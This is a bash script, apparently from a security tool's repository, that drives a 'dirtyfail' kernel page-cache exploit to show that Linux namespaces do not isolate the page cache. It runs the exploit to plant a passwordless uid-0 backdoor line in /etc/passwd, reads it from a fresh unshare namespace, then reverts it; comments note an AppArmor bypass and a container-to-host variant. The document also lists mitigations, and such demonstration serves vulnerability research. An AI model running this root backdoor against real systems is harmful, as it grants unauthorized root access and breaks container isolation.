150 lines
6.7 KiB
Bash
Executable File
150 lines
6.7 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
#
|
|
# DIRTYFAIL — container-escape demonstration
|
|
#
|
|
# Demonstrates: the kernel page cache is global per-kernel. Namespaces
|
|
# (mount, pid, user, network) don't isolate it. Two processes on the
|
|
# same kernel — one in the host, one inside a fresh "container"
|
|
# (created via `unshare`) — see the SAME page-cache contents for
|
|
# /etc/passwd. So a page-cache write from either side affects both.
|
|
#
|
|
# What this script does:
|
|
# 1. Show host's /etc/passwd has no `dirtyfail` user (baseline)
|
|
# 2. Run `dirtyfail --exploit-backdoor` to plant a uid-0 line into
|
|
# /etc/passwd's page cache (persistent — no auto-revert)
|
|
# 3. Spawn a fresh user/mount/PID-namespace via `unshare -c -m -p`
|
|
# (the closest unprivileged-user analogue to a container) and
|
|
# read /etc/passwd from inside the new namespace
|
|
# 4. Show the planted line is visible BOTH from the host AND from
|
|
# inside the fresh namespace — proving that namespace boundaries
|
|
# do not isolate the page cache
|
|
# 5. Revert via `dirtyfail --cleanup-backdoor`
|
|
#
|
|
# Why direction matters less than you'd think: the demo runs the
|
|
# exploit on the host and observes from inside the namespace, but the
|
|
# property demonstrated is symmetric — a malicious tenant inside a
|
|
# container could plant the same line and the host would see it (we
|
|
# tested that variant manually; it works the same way, but requires
|
|
# `--no-revert` to avoid auto-cleanup overwriting the proof). Running
|
|
# the exploit from the host avoids two complications:
|
|
# - nested user namespaces interact poorly with the AA bypass dance
|
|
# that --exploit-backdoor uses (EPERM on the inner unshare)
|
|
# - corrupting the running SSH user's UID locks out future SSH logins
|
|
# (StrictModes rejects ~/.ssh/authorized_keys when the file's
|
|
# owner uid != logging-in uid)
|
|
# --exploit-backdoor targets a system pseudo-user line (sync/setroubleshoot/
|
|
# daemon) and never touches the running user, so it's SSH-safe.
|
|
#
|
|
# Usage:
|
|
# ./tools/dirtyfail-container-escape.sh
|
|
#
|
|
# Env overrides:
|
|
# DIRTYFAIL_BIN=/path/to/dirtyfail (default: ./dirtyfail)
|
|
|
|
set -uo pipefail
|
|
# Don't `set -e`; some intermediate commands (unshare with PID-ns, the
|
|
# exploit binary itself) may exit non-zero on success-with-warnings or
|
|
# on hardened systems where preconditions fail. We check exit codes
|
|
# explicitly where they matter.
|
|
|
|
DIRTYFAIL_BIN="${DIRTYFAIL_BIN:-$(dirname "$0")/../dirtyfail}"
|
|
DIRTYFAIL_BIN="$(realpath "$DIRTYFAIL_BIN" 2>/dev/null || echo "$DIRTYFAIL_BIN")"
|
|
|
|
[[ -x "$DIRTYFAIL_BIN" ]] || {
|
|
echo "[!] dirtyfail binary not at $DIRTYFAIL_BIN — run 'make' first" >&2
|
|
exit 1
|
|
}
|
|
|
|
bold() { printf '\033[1m%s\033[0m\n' "$*"; }
|
|
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
|
|
info() { printf '\033[1;34m[i]\033[0m %s\n' "$*"; }
|
|
ok() { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
|
|
step() { printf '\033[1;35m[*]\033[0m %s\n' "$*"; }
|
|
|
|
bold "============================================================="
|
|
bold " DIRTYFAIL — container-escape demonstration"
|
|
bold "============================================================="
|
|
echo
|
|
|
|
# ---- Stage 1: baseline ------------------------------------------------
|
|
step "Stage 1: baseline — host /etc/passwd"
|
|
if grep -q '^dirtyfail:' /etc/passwd; then
|
|
warn "host /etc/passwd already contains a 'dirtyfail' line."
|
|
warn "Run \`$DIRTYFAIL_BIN --cleanup-backdoor\` first."
|
|
exit 1
|
|
fi
|
|
ok "host /etc/passwd has no 'dirtyfail' user (clean baseline)"
|
|
echo
|
|
info "from inside a fresh unshare namespace, /etc/passwd looks identical:"
|
|
nscount="$(unshare -c -m bash -c 'grep -c "^dirtyfail:" /etc/passwd 2>/dev/null || echo 0' 2>&1 | tail -1)"
|
|
echo " count of dirtyfail lines visible from inside namespace: $nscount"
|
|
echo
|
|
|
|
# ---- Stage 2: plant via host ------------------------------------------
|
|
step "Stage 2: run dirtyfail --exploit-backdoor on the host"
|
|
echo " (plants 'dirtyfail::0:0:...:/:/bin/bash' into /etc/passwd's"
|
|
echo " page cache — persistent until --cleanup-backdoor or reboot)"
|
|
echo
|
|
printf 'DIRTYFAIL\n' | "$DIRTYFAIL_BIN" --exploit-backdoor --no-shell --no-color 2>&1 | tail -10
|
|
echo
|
|
|
|
# ---- Stage 3: observe from fresh namespace ---------------------------
|
|
step "Stage 3: read /etc/passwd from INSIDE a fresh unshare namespace"
|
|
echo " (the namespace was created AFTER the exploit ran — if"
|
|
echo " namespaces isolated page cache, the new namespace would"
|
|
echo " show the original /etc/passwd, not the poisoned one)"
|
|
echo
|
|
unshare -c -m bash -c '
|
|
echo " [inside namespace] uid='"$(id -u)"' (mapped via --map-current-user)"
|
|
echo " [inside namespace] mount-namespace is private to this shell"
|
|
echo " [inside namespace] grep dirtyfail /etc/passwd:"
|
|
if grep "^dirtyfail:" /etc/passwd 2>&1 | sed "s/^/ /"; then :
|
|
else echo " (no dirtyfail line found)"
|
|
fi
|
|
'
|
|
echo
|
|
|
|
# ---- Stage 4: also visible from host ---------------------------------
|
|
step "Stage 4: confirm host sees the same line"
|
|
HOST_LINE="$(grep '^dirtyfail:' /etc/passwd || true)"
|
|
if [[ -n "$HOST_LINE" ]]; then
|
|
echo " host: $HOST_LINE"
|
|
echo
|
|
warn "Both the host and the fresh namespace see the planted dirtyfail"
|
|
warn "line. The kernel page cache is shared across all namespaces"
|
|
warn "on the same kernel — namespace 'isolation' does not extend"
|
|
warn "below the page-cache layer. Symmetrically, an exploit running"
|
|
warn "inside a container (with the right preconditions) would plant"
|
|
warn "the same line and the HOST would see it."
|
|
else
|
|
warn "host /etc/passwd does NOT contain a 'dirtyfail' line — the"
|
|
warn "exploit did not plant successfully. Possible causes:"
|
|
warn " (a) kernel is patched (CVE-2026-31431 fixed)"
|
|
warn " (b) LSM blocked the exploit (Ubuntu 26.04 hardening)"
|
|
warn " (c) preconditions missing — run \`$DIRTYFAIL_BIN --scan --active\`"
|
|
exit 0
|
|
fi
|
|
echo
|
|
|
|
# ---- Stage 5: cleanup -------------------------------------------------
|
|
step "Stage 5: revert via --cleanup-backdoor"
|
|
"$DIRTYFAIL_BIN" --cleanup-backdoor --no-color 2>&1 | tail -5 || true
|
|
echo
|
|
if grep -q '^dirtyfail:' /etc/passwd; then
|
|
warn "cleanup did not remove the line — try as root:"
|
|
warn " \`echo 3 | sudo tee /proc/sys/vm/drop_caches\`"
|
|
exit 1
|
|
fi
|
|
ok "host /etc/passwd is clean again"
|
|
echo
|
|
bold "Demo complete. Takeaways:"
|
|
echo " - Namespaces did NOT isolate the host's /etc/passwd page cache"
|
|
echo " from the fresh container's view. The same property holds"
|
|
echo " in reverse: a container exploit modifies host page cache."
|
|
echo " - This applies to ALL kernel page-cache write CVEs in this"
|
|
echo " family (CVE-2026-31431, 43284, 43500, and variants)."
|
|
echo " - Mitigation: kernel patch, OR LSM hardening that denies the"
|
|
echo " exploit's preconditions (apparmor_restrict_unprivileged_userns,"
|
|
echo " AF_ALG/AF_RXRPC blacklists), OR drop privileges of any"
|
|
echo " container that doesn't strictly need AF_ALG."
|